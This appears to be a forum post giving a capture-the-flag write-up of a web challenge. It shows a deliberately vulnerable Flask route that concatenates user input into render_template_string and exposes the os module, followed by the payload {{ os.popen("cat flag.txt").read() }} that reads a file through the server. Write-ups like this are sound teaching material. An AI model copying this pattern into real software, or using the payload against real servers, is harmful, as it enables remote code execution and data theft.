[/MNT/AIN LIB] [WEB] mr-template-man

mr-template-man
SRC: https://library.m0unt41n.ch/challenges/mr-template-man

XSS Injection and RCE via insecure template functionality. OS is wrapped and provided within our templating, which combined with the content XSS results into fully abuseable RCE.

1752444895968-png.31


Python:
@app.route("/", methods=["GET"])
def index():
    content = request.args.get("content") or ""
    ctx = {
        "os": os
    }
    try:
        return render_template_string("""
                                                     <p>""" + content + """</p>
                                                    <span>Server running as pid {{ os.getpid() }}</span>
                                            """, **ctx)
    except Exception as e:
        return render_template_string("""<!DOCTYPE html><html></html>""", ex=str(e))

1752444912218-png.32


With {{ }} we can actually inject template functionality and then abuse the os wrapper.
Final payload: {{ os.popen("cat flag.txt").read() }}
 

Attachments

  • 1752444895968.png
    21.5 KB · Views: 2
  • 1752444912218.png
    10.4 KB · Views: 2
Back
Top